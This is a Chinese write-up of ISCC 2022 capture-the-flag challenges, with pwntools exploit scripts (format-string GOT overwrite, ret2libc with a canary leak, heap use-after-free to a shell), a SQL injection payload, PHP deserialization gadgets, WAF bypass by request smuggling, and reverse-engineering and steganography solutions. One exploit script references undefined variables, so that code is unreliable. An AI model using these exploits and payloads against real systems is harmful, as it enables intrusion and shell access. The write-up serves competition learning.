# PWN
# create_id
漏洞点
有后门,格式化字符串漏洞,去修改 x 的值为 9,然后获取 flag 即可。
from pwn import * | |
p=process(./k) | |
d = int(p.recv(10), 16) | |
for I in range(3): | |
p.sendline('123') | |
king = p32(d)+'%5c%10$n' | |
p.sendline(king) | |
p.interactive() |
# sim_treasure
漏洞点:
无后门,格式化字符串漏洞。
泄露 libc 基地址,修改 printf 的 got 表为 system,执行 printf,获取 shell。
from pwn import * | |
p=remote('123.57.69.203',7010) | |
e = ELF('./iscc') | |
pgd=e.got['printf'] | |
payload='%8$p' | |
p.sendline(payload) | |
payload=p32(pgd)+'%6$s' | |
p.sendline(payload) | |
printf_addr=u32(p.recvuntil('\xf7')[-4:]) | |
libc_base=printf_addr-0x512d0 | |
system=0x0003d200+libc_base | |
l=system&0xffff | |
h =(system>>16)&0xffff | |
payload=p32(printf_got_addr) | |
payload+=p32(printf_got_addr+2) | |
payload+='%'+str(l-8)+'c%6$hn' | |
payload+='%'+str(h-low)+'c%7$hn' | |
p.sendline(payload) | |
p.sendline('/bin/sh') | |
p.interactive() |
# 跳一跳
存在 canary,不过用 % s 可以给带出来。主要难点就是 + 对 scanf 的 % hhd 的绕过。这里最后进行了一下源码调试,+ 和 - 确实可以绕过检查,但是又没有被写入栈里,达到了占一位的目的。然后精心构造好要泄露的数据,用 + 覆盖即可,其他的用垃圾数据补充,最后接收一下,绕过 canary 检查,ret2libc 直接日了。
from pwn import * | |
from LibcSearcher import * | |
context(arch='amd64',os='linux',log_level='debug') | |
def autofill_long_libc(target_vul,leak_addr): | |
obj = LibcSearcher(target_vul, leak_addr) | |
libc_base = leak_addr - obj.dump(target_vul) | |
sys_addr = libc_base + obj.dump('system') | |
bin_sh_addr = libc_base + obj.dump('str_bin_sh') | |
print('libc_base---->',hex(libc_base)) | |
return sys_addr, bin_sh_addr | |
def autofill_local_libc(target_vul,leak_addr,libc): | |
libc_base = leak_addr - libc.symbols[target_vul] | |
sys_addr = libc_base + libc.symbols['system'] | |
bin_sh_addr = libc_base + libc.search("/bin/sh").next() | |
print('libc_base---->',hex(libc_base)) | |
return sys_addr,bin_sh_addr | |
p=remote('123.57.69.203',7020) | |
#p=process('./a') | |
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') | |
#gdb.attach(p) | |
p.recvuntil('Hello CTFer! Welcome to the world of pwn~\n') | |
for i in range(0x58): | |
sleep(0.01) | |
p.sendline('17') | |
for i in range(0x6): | |
sleep(0.01) | |
p.sendline('-') | |
#leak setbuffer | |
for i in range(0x4a): | |
sleep(0.01) | |
p.sendline('18') | |
for i in range(0x6): | |
sleep(0.01) | |
p.sendline('-') | |
'''leak libc_base''' | |
for i in range(0x1a): | |
sleep(0.01) | |
p.sendline('19') | |
for i in range (0x6): | |
sleep(0.01) | |
p.sendline('-') | |
'''leak base''' | |
for i in range(2): | |
sleep(0.01) | |
p.sendline('120') | |
for i in range(6): | |
sleep(0.01) | |
p.sendline('-') | |
'''leak canary''' | |
for i in range(0x3): | |
sleep(0.01) | |
p.sendline('21') | |
''' | |
for i in range(7): | |
sleep(0.01) | |
p.sendline('-') | |
''' | |
p.send('a') | |
#pause() | |
a=p.recv() | |
#p.sendline('1') | |
io_stderr_addr=u64(a[0x67:0x6d].ljust(8,'\x00')) | |
#io_stderr_addr=u64(a[0x91:0x97].ljust(8,'\x00')) | |
#setbuffer_addr=u64(a[0xe1:0xe7].ljust(8,'\x00'))-231 | |
setbuffer_addr=u64(a[0xb7:0xbd].ljust(8,'\x00'))-231 | |
print('setbuffer_addr-------------------->',hex(setbuffer_addr)) | |
libc_base=io_stderr_addr-0x3ec680 | |
print('io_stderr_addr-------------------->',hex(io_stderr_addr)) | |
print('libc_base-------------------------->',hex(libc_base)) | |
base=u64(a[0xd7:0xdd].ljust(8,'\x00'))-0x10a0 | |
#base=u64(a[0x101:0x107].ljust(8,'\x00'))-0x10a0 | |
print('base------------------------------->',hex(base)) | |
leak_stack=u64(a[0xdf:0xe5].ljust(8,'\x00')) | |
#leak_stack=u64(a[0x109:0x10f].ljust(8,'\x00')) | |
print('leak_stack-------------------------->',hex(leak_stack)) | |
#canary=u64(a[0x112:0x119].rjust(8,'\x00')) | |
canary=u64(a[0xe8:0xef].rjust(8,'\x00')) | |
print('canary------------------------------>',hex(canary)) | |
print(a) | |
result=autofill_long_libc('setbuffer',setbuffer_addr) | |
#result=autofill_local_libc('setbuffer',setbuffer_addr,libc) | |
#result=autofill_long_libc('_IO_2_1_stderr_',io_stderr_addr) | |
sys_addr=result[0] | |
bin_sh_addr=result[1] | |
pop_rdi_addr=base+0x130b | |
leave_addr=base+0x124a | |
print(hex(bin_sh_addr)) | |
#gdb.attach(p) | |
#pause() | |
payload=p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(sys_addr) | |
payload=payload.ljust(0xd8,'a') | |
payload+=p64(canary)+p64(leak_stack-0x1d0-8)+p64(leave_addr) | |
p.sendline(payload) | |
p.interactive() |
# untidy_note
漏洞点:
因为 free 掉后 没有清空指针 导致产生了 uaf 漏洞 配合堆溢出 即可 getshell
from pwn import * | |
context.log_level = "debug" | |
# r = process('./pwn3') | |
r = remote('123.57.69.203', 7030) | |
libc = ELF('./libc-2.27.so') | |
s = lambda data :r.send(str(data)) | |
sa = lambda delim, data: r.sendafter(str(delim), str(data)) | |
sl = lambda data: r.sendline(str(data)) | |
sla = lambda delim, data: r.sendlineafter(str(delim), str(data)) | |
def dbg(): | |
gdb.attach(p) | |
pause() | |
def add(size): | |
sla('choose is:\n',str(1)) | |
sla('the note size is:\n',size) | |
def delete(idx): | |
sla('Your choose is:\n',str(2)) | |
sla('index:\n',idx) | |
def edit(idx,size,content): | |
sla('choose is:\n',str(3)) | |
sla('index:\n',idx) | |
sla('the size is:\n',size) | |
sa('Content:\n',content) | |
def show(idx): | |
sla('choose is:\n',str(4)) | |
sla('index:\n',idx) | |
sl('aaa') | |
for i in range(7): | |
add(0x10) | |
delete(0) | |
delete(1) | |
show(1) | |
r.recvuntil("Content:") | |
heap = u64(r.recv(6) + '\x00' * 2) - 0x250 | |
print(hex(heap)) | |
edit(0, 0x10, p64(heap)) | |
add(0x10) | |
add(0x10) | |
add(0x10) | |
add(0x10) | |
add(0x10) | |
edit(7, 0x20, p64(0) * 4) | |
delete(5) | |
edit(5, 0x10, p64(heap + 0x20)) | |
add(0x10) | |
add(0x10) | |
edit(10, 0x10, p64(0x7000000)) | |
delete(7) | |
add(0x10) | |
show(10) | |
r.recvuntil("Content:") | |
base = u64(r.recv(6) + '\x00' * 2) - 0x3ebee0 | |
print('base:' + hex(base)) | |
free = base + libc.sym['__free_hook'] | |
system = base + libc.sym['system'] | |
edit(10, 0x20, p64(0) * 4) | |
delete(10) | |
edit(10, 0x20, p64(free)) | |
add(0x10) | |
add(0x10) | |
edit(11, 0x10, p64(system)) | |
edit(10, 0x10, "./bin/sh\x00") | |
delete(10) | |
r.interactive() |
# WEB
# 冬奥会
这个题就是一个简单的代码审计
<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);//接受get的传参的json格式,转换为数组格式
if(is_array($info)){//判断是不是数组格式
var_dump($info);
is_numeric(@$info["year"])?die("Sorry~"):NULL;//检查year是不是数字或者数字字符串,是则结束
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");//判断items是一个3个量的数组且第二个值的类型是一个数组
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;//判断数组中是否有skiing这个字符串,没有则结束
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;//判断数组中是否有skiing这个字符串,有则结束
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";echo $flag;//文件包含打印flag
}
?>
要注意的点我写在代码的注释中了,首先传入格式是 json,有个变量为 year 值不能是数字或者数字字符串,有个数组 iteam,然后要对数组第二个进行判断不是数组为 3 个值则进入 if 条件句满足两个条件跳过 if 语句,接着用 array_seach 判断数组中是否有 skiing 没有则退出,然后又用 foreach 判断有则退出,这里判断原理是弱等于,用 0 就可以绕过所以最终 payload
?Information={"year":"a","items":[0,[],2]} |
# 爱国敬业好青年 - 2
页面就是一个请找到爱国敬业好青年所处的城市(前一个题一直零解,,前一个题一直零解,我只想把出题人关小黑屋抄 100,,不 200 遍社会主义核心价值观),通过前一个题
可以判断应该是北京天安门的坐标,输入了他给了个假的 flag,我还去试了半天(哭晕在厕所)输什么他都会给这个假的 flag
Ctrl+u 看源码
有个 info 路由,进去是刚刚那个假的 flag,往上看 form 标签,有个 action 规定当提交表单时向 flag 发送表单数据,method 规定了以 post 提交,用 hackbar 提交数据
# Pop2022
这个题当时是非预期解做的,直接访问 flag.php 得到 flag,应该是文件没删,后来被修改了
# Easy-SQL
看题目是一个 sql 的题
提示我们找数据库名?尝试用 id
这个回显怎么说,像是 sql-labs 靶场,先用 sqlmap 扫描一下
只能知道数据库是 securitymysql 数据库版本是 8
这个地方的 flag 是假的,id 等于 8 的时候
看到提示让猜邮箱,security 数据库中有一个 emails 的表,mysql8.0 开始新版的特性可以使用 table user 替换 select * from,这里用联合查询且用 limit 去截取 emails 表中的数据,截取到第 7 个的时候发现一个压缩包,先下载下来看看
打开下载的文件
这里可以看到还可以用 post 传入数据带入 sql 语句
且这里只对 passwd 进行了严格的过滤,我们可以在 username 这个地方插入语句用单引号闭合前面的引号,对 username 判断是不是等于 admin,对 username 转化的数组的 passwd 部分与 passwd 比较,这里先判断几个字段,这个题的源码越审越感觉见过
4 个字段没反应,3 个字段正常回显,这里可以判断是 3 个字段
这里经测试是第三个字段为密码,又提示说错误的 user,尝试用 admin 去替换 1,2
都没反应?这是过滤了?admin 出现就没反应了,尝试用 16 进制绕过
username=1' union select 1,0x61646d696e,3#&passwd=3
# findme
这个题打开就一张图片
看源码发现注释了有一个文件
打开这个文件,看到是一个 php 的代码审计
<?php | |
highlight_file(__FILE__); | |
class a{ | |
public $un0; | |
public $un1; | |
public $un2; | |
public $un3; | |
public $un4; | |
public function __destruct(){// 魔术方法,当类被实例化时自动调用 | |
if(!empty($this->un0) && empty($this->un2)){// 当变量 un0 存在,un2 不存在时进入 if 条件句 | |
$this -> Givemeanew();// 调用 Givemeanew 方法 | |
if($this -> un3 === 'unserialize'){// 当 un3 等于 unserialize 进入 if 条件句 | |
$this -> yigei();// 调用 yigei 函数 | |
} | |
else{ | |
$this -> giao();// 调用 giao 函数 | |
} | |
} | |
} | |
public function Givemeanew(){ | |
$this -> un4 = new $this->un0($this -> un1);// 将 un0 的参数实例化赋值给 un4 | |
} | |
public function yigei(){ | |
echo 'Your output: '.$this->un4;// 打印 un4 的值 | |
} | |
public function giao(){ | |
@eval($this->un2);// 代码执行函数 | |
} | |
public function __wakeup(){ | |
include $this -> un2.'hint.php';// 文件包含函数 | |
} | |
} | |
$data = $_POST['data']; | |
unserialize($data); |
发现有一个 hint 文件,先用伪协议去读这个文件
<?php | |
highlight_file(__FILE__); | |
class a{ | |
public $un2="php://filter/read=convert.base64-encode/resource="; | |
public function __wakeup(){ | |
include $this -> un2.'hint.php'; | |
} | |
} | |
$a=new a; | |
echo serialize($a); | |
//O:1:"a":1:{s:3:"un2";s:49:"php://filter/read=convert.base64-encode/resource=";} |
解密读内容
<?php
$a = 'flag 在当前目录下以字母 f 开头的 txt 中,无法爆破出来 ';
想办法读当前目录,想到用原生类和
<?php
class a{
public $un0="DirectoryIterator";//遍历指定目录下的所有文件的原生类,通过Givemeanew方法中的实例化
public $un1="glob:///var/www/html/f*.txt";//查找匹配的文件路径模式匹配提示的文件
public $un3="unserialize";
}
$a=new a();
echo serialize($a);
//O:1:"a":3:{s:3:"un0";s:17:"DirectoryIterator";s:3:"un1";s:27:"glob:///var/www/html/f*.txt";s:3:"un3";s:11:"unserialize";}
文件名越改越复杂,,,,,
# 让我康康!
看源码有提示说 try flag,输入 flag
提示说 flag 在 /fl4g 中,去访问这个文件
看来是有 waf 了,尝试了 url 编码绕过,目录穿越,垃圾数据溢出都不行,这里用 http 走私来绕 waf
在 gunicorn 20.0.4 版本中,存在一个请求走私漏洞,无论在 gunicorn 前使用哪个代理,该漏洞都有效。 Http 头中的
Sec-Websocket-Key: 1
会进行特殊解析,从而引发此漏洞。
来自本地
在传入 flag 的 http 走私中拿到一个 ip 没见过,看来就是获取来源 ip 的了,加上这个字段
# REVERSE
# GetTheTable
应该是有奇奇怪怪的编码
先用查壳工具检查
无壳,64 位,拖到到 64 位 IDA,min 函数里有一字符串,不管那么多先尝试解码
用解码工具解码
得到 flag
# Amy's Code
还是先放到查壳工具
无壳 32 位,拖到 IDA32 位查看
在 main 函数看到有两个加密算法,sub_4115FF 点进去发现是个异或,关键函数是 sub_411433 函数,跟踪函数
这个地方也是一个简单的算法,那思路就简单了,逆运算一下就行,写一个脚本如下
#include<stdio.h> | |
int main() | |
{ | |
char v9[20]; | |
v9[0] = 149; | |
v9[1] = 169; | |
v9[2] = 137; | |
v9[3] = 134; | |
v9[4] = 212; | |
v9[5] = 188; | |
v9[6] = 177; | |
v9[7] = 184; | |
v9[8] = 177; | |
v9[9] = 197; | |
v9[10] = 192; | |
v9[11] = 179; | |
v9[12] = 153; | |
v9[13] = 125; | |
v9[14] = 197; | |
v9[15] = 130; | |
v9[16] = 160; | |
v9[17] = 187; | |
v9[18] = 109; | |
v9[19] = 184; | |
v9[20] = 0; | |
char str[]="LWHFUENGDJGEFHYDHIGJ"; | |
for(int i=0;i<20;i++) | |
{ | |
v9[i]=v9[i]-str[i]; | |
v9[i]=v9[i]^i; | |
} | |
printf(v9); | |
return 0; | |
} | |
//ISCC{reverse_8b1Hc4} |
# How_decode
64 位,放到 IDA 先找到 main 函数
发现就一个 encode 函数,跟踪查看
这个还是比较眼熟的,可以判断是一个 XXTEA 加密,网上没找到好用的在线工具,发现个脚本可以直接跑
#include<stdio.h> | |
#include<stdint.h> | |
#define DELTA 0x9e3779b9 | |
int *decrypt(int32_t*data,size_t len,int32_t*key){ | |
int n=(uint32_t)len-1; | |
int z,y=data[0],p,q=6+52/(n+1),sum=q * DELTA,e; | |
if(n<1) | |
return data; | |
while(sum!=0){ | |
e=sum>>2&3; | |
for(p=n;p>0;p--){ | |
z=data[p-1]; | |
y=data[p]-=(((z>>5)^(y<<2))+((y>>3)^(z<<4)))^((sum^y)+(key[(p&3)^e]^z)); | |
} | |
z=data[n]; | |
y=data[0]-=(((z>>5)^(y<<2))+((y>>3)^(z<<4)))^((sum^y)+(key[(p&3)^e]^z)); | |
sum-=DELTA; | |
} | |
return data; | |
} | |
int main() | |
{ | |
int32_t v[]= {646664799,-1563984516,5403868,-851615406,-1577982033,-1112569621,-2038538024,89732896,856644365,-1143066723,1826125009,947398586,-204891967,-1909151093,632925486,381866701,-976384688,-1681924957}; | |
int32_t k[4]={73,83,67,67}; | |
int n=18; | |
decrypt(v,n,k); | |
printf("解密:\n"); | |
for(int i=0;i<18;i++){ | |
printf("%c",v[i]); | |
} | |
return 0; | |
} | |
// 解密:ISCC {qiPc3F9vXgvn} |
# Sad Code
喜欢做题,哪来呗
还是先查壳
32 位没有壳
IDA32 打开发现有一个四元一次方程组,两个 if 条件句都满足时才会进入语句
16 进制转为 10 进制后发现数太大,笔算太复杂,网上淘个可以在线计算的工具四元一次方程组计算器 (99cankao.com)
第一个方程组的解
a[]={1230193475,2068859464,1296122456,1429031002}
第二个方程的解
a[]={1313362508,1246113109,1464621131,1264076413}
将结果转为 16 进制后转字符串
# VigenereLike
64 位 ELF 文件用 ida 打开
第一个关键函数是 sub_2914,跟踪审计是 7 次一次异或处理,第二个关键函数 sub_29C9 跟踪发现
里面的 sub_27c6 进行 base64 编码 sub_2569 一个混淆加密
分析完了写个脚本跑一下就行
# -*- coding: utf-8 -*- | |
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" | |
def jiema(a): | |
ch = [] | |
for i in a: | |
if i != '=': | |
x = str(bin(s.index(i))).replace('0b', '') | |
ch.append('{:0>6}'.format(x)) | |
b = "" | |
nums = a.count('=') | |
while ch: | |
temp_list = ch[:4] | |
temp_str = "".join(temp_list) | |
if (len(temp_str) % 8 != 0): | |
temp_str = temp_str[0:-1 * nums * 2] | |
for i in range(0, int(len(temp_str) / 8)): | |
b += chr(int(temp_str[i * 8:(i + 1) * 8], 2)) | |
ch = ch[4:] | |
return b | |
a = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" | |
b = "rJFsLqVyFKZFEJvgerWvFpMkdmHBs5RX1ummCrv=" | |
key = "ISCCYES" | |
v17 = [1,2,3,4,5,6,7] | |
flag = "" | |
flag1 = "" | |
for i in range(len(b)-1): | |
flag += a[(a.find(b[i]) - a.find(key[i%7]) + 63) % 63] | |
flag += "=" | |
flag =jiema(flag) | |
for i in range(len(flag)): | |
flag1 += chr(ord(flag[i]) ^ v17[i%7]) | |
print("ISCC{"+flag1[:-4]+"}") |
# Bob's Code
查壳
32 位拖到 ida 查看
sub_41167c base64 编码
sub_411389base64 表
sub_411023 是加点
sub_4116E0 字符串移动两位
先将位移的过程逆回去
#include <stdio.h> | |
#include <string.h> | |
int main(){ | |
char str[]=".W1BqthGbfivMoNh3WMtqt.M9FoZtVc042AYzxgW1VoZputGBpVPRmeNlkoF0."; | |
for(int i=0;i<strlen(str);i++) | |
{ | |
if ( str[i] < 65 || str[i] > 90 ) | |
{ | |
if ( str[i] >= 97 && str[i] <= 122 ) | |
str[i] = (str[i]+24 - 97) % 26 + 97; | |
} | |
else | |
str[i] = (str[i]+24 - 65) % 26 + 65; | |
} | |
printf(str); | |
return 0; | |
} |
手工将第一个和 22 位两个点去了
U1ZorfEzdgtKmLf3UKrorK9DmXrTa042YWxveU1TmXnsrEZnTNPkcLjimD0.
然后是自定义 base64 解码
然后再 base64
# MISC
# 2022 冬奥会
这个提示另一只雪容融的原型是灯笼,修改图片长度
解码得到如下信息,个人突破口还是雪容融
这里将压缩包用 WinRAR 打开输入密码灯笼,解压出来一个 jpg 文件用 010Editor 打开
# 单板小将苏翊鸣
文件下载下来解压后
很明显这张图的高度不对,下面应该还有别的东西,用 010Editor 打开修改高度
发现一张二维码,扫描得结果
发现编码信息,解码
看到提示信息
则压缩包密码应该是 15942
解压拿到 flag,(早知道就直接爆破文件密码了)
# 隐秘的信息
首先对题目给的 base 解码
暂时不知道这能干嘛,看到文件是加密的,我们拿到的信息只有这个吗,应该是密码
解压得到这个图片,png 图片隐写,先用 010 打开前后数据块没发现可疑信息,用 png 隐写神器 Stegsolve 打开文件
用这个通道打开发现数据不太一样,这是 16 进制,尝试转化成字符串
# 降维打击
这个题就给了一个图片,用 010 打开前后数据库没有有用信息,但是图片里还有一个 png 文件
放到 kail 里用 foremost 分离一下
又得到一个 png 图片,在 Stegsolve 里面各个通道没有找到有用的信息,可以用 zsteg 分离图片
这里还有一个 png 文件,套娃,,
分离出这个文件
魔改的英文,去网上找魔女之女的对照表《魔女之旅》文字破解・续 - 哔哩哔哩 (bilibili.com)
然后全大写,每 4 个中间加一个中线
# 藏在星空中的诗 - 1
打开文件
很明显这个图是 ps 处理的,拖到在线 ps 工具里【在线 PS】PS 软件网页版,ps 在线图片处理工具 photopea - 稿定设计 PS (gaoding.com)
将图层透明度更改后看到有个循序 13524
建议使用 winrar 因为 winrar 会将密码明文显示
打开得到密码对照表
将这个一一对照出来得到 flagISCC
# 藏在星空中的诗 - 2
一道组合题,那么前面的对照表还能在这继续用
这里对照出来后发现他的格式是 \QTTk 可以猜到这里是 Unicode 解码
将对应的字母 \u0049\u0053\u0043\u0043\u007B\u0040\u0034\u0073\u0035\u006d\u004f\u006d\u0028\u0075\u0045\u002a\u0041\u0055\u004E\u007D
# 真相只有一个
打开 flag.txt 这个文件,对其全选的时候,发现有不可见字符
现在判断可能是 sonw 隐写,现在去找解密的密码,用 stegsolve 打开文件,在通道中看到了密码,看来好像是一部分,剩下的爆破
现在只能尝试去看看这个 stream 里面有什么东西了,用 010 打开发现
里面有个流量包
将这个压缩包修复
爆破密码
得到了压缩包的密码 19981111,对其进行流量分析
检查 UDP 流,发现 mp3 文件, 下一个页面就是音频,转化成原始数据,导出保存
拖入 AU(Audacity)
直接看最后一部分,应该是摩斯密码
最终解析得到的如下
../.../-.-./-.-./--/../.../-.-./
最终的信息如下
拿到密码,用 snow 这个工具进行解密,根据使用文档,可以知道这条命令用于解密
# MOBILE
# MobileA
通过分析代码,发现 flag 分为俩部分
第一部分被 AES/CBC 模式加密(K@e2022%% y base64 编码后做密钥,I&V2022*** base64 编码后做 IV),然后再 base64 编码,所以我们要先 base64 解码,然后 AES/CBC 模式解密
Base64 解码
AES 解密
第一部分
[]vfgty78(*IUJ_
先进行 md5 加密,然后 base64 编码,最后打乱编码后的字符串,所以我们写还原字符串,然后 base64 解码,最后 md5 解密
修复字符串顺序
base64 解码
最后 md5 解密
第二部分 flag
geometry
flag:ISCC
# 擂台赛
# web
# Melody
好像 admin 不能登录,但是别的可以
随意登录的账号源码有提示说改用户没有获取 flag 的权限,很显然这里要伪造身份登录,先看看登录页面源码
看到这里还有一个 info,看看有没有什么信息
更改 ua 头
给了一个传参的值,这里发现有模板注入,可以读取 flash 的环境变量
发现 session_key
这里用脚本伪造 admin 的 session
伪造 admin 登录,发现一个假的 falg
源码部分看到一个文件
也不难,只要通过反序列化去覆盖 melody 模块变量,然后进入到 if 条件句,读取文件 flag.txt
这里用 /therealflag 路由 post 方法传入
# MOBILE
# Mobile Analysis
可以看出 flag 分为三部分
![
先分析第一部分 C0541b.m2a,只是将 base64 编码后的字符串打乱位置,我们直接修复位置,然后 base64 解码
第一段 flag
ISCC{displac
第二部分分析 C0540a.m4a,然后何 C0542c.m0a () 进行对比
直接可以爆破出,然后 base64 解码
第二段 flag
e_alternativ
第三段先 C0540a.m3b 加密,然后 AES/CBC 模式加密
修复后 ZV9tb2JpbGV9,最后 base64 解码
第三段 flag
e_mobile}
flag:ISCC
# REVESE
# Easyre
32 位无壳
发现四处花指令,将 e8 改成 90 保存重新进入 ida
连续三个加密函数
每一个分别用 destination 前三位中三位后三位进行异或加密
v11 是 flag
#include<stdio.h> | |
int main() | |
{ | |
char a[] = "^<L^<LX:LX.MJ.MJ9PJ9VF$VF$T@$T];"; | |
char key[] = "enc!@#key"; | |
int i = 0; | |
for (i = 0; i < 32; i++) | |
a[i] = a[i] ^ key[i % 3+6]; | |
for (i = 0; i < 32; i++) | |
a[i] = a[i] - key[i % 3+3]; | |
for (i = 0; i < 32; i++) | |
a[i] = a[i] ^ key[i % 3]; | |
printf("%s", a); | |
return 0; | |
} |
加上 iscc
ISCC
# Encode
64 位无壳
Encode 为加密函数
前一部分是加减异或加密
后一部分为 rsa 算法,用私钥加密公钥解密
算出 e = 37n = 77d = 37
#include<stdio.h> | |
int main() | |
{ | |
int answear[] = { 0x23,0x4a,0x7,0x2b,0x1d,0x6,0x3f,0x36,0x36,0x2b,0x5,0x7,0x6,0x39,0x2,0x6,0x38,0x21,0x4b,0x1a,0x2d,0x2d,0x39,0x2 }; | |
char flag[25] = {0}; | |
int e, n, d; | |
int count; | |
int a; | |
int i; | |
a = 1; | |
e = 37; | |
n = 77; | |
d = 37; | |
for (i = 0; i < 24; i++) | |
{ | |
for (int j = 0; j < d; j++) | |
{ | |
a = a * answear[i] % n; | |
} | |
flag[i] = a; | |
a = 1; | |
} | |
for (i = 0; i < 24; ++i) | |
{ | |
flag[i] += 70; | |
flag[i] ^= 63; | |
} | |
for (i = 0; i < 12; ++i) | |
{ | |
flag[i] ^= flag[24 - i - 1]; | |
flag[24 - i - 1] ^= flag[i]; | |
flag[i] ^= flag[24 - i - 1]; | |
} | |
for (i = 0; i < 24; i++) | |
flag[i] ^= 15; | |
printf("%s", flag); | |
return 0; | |
} |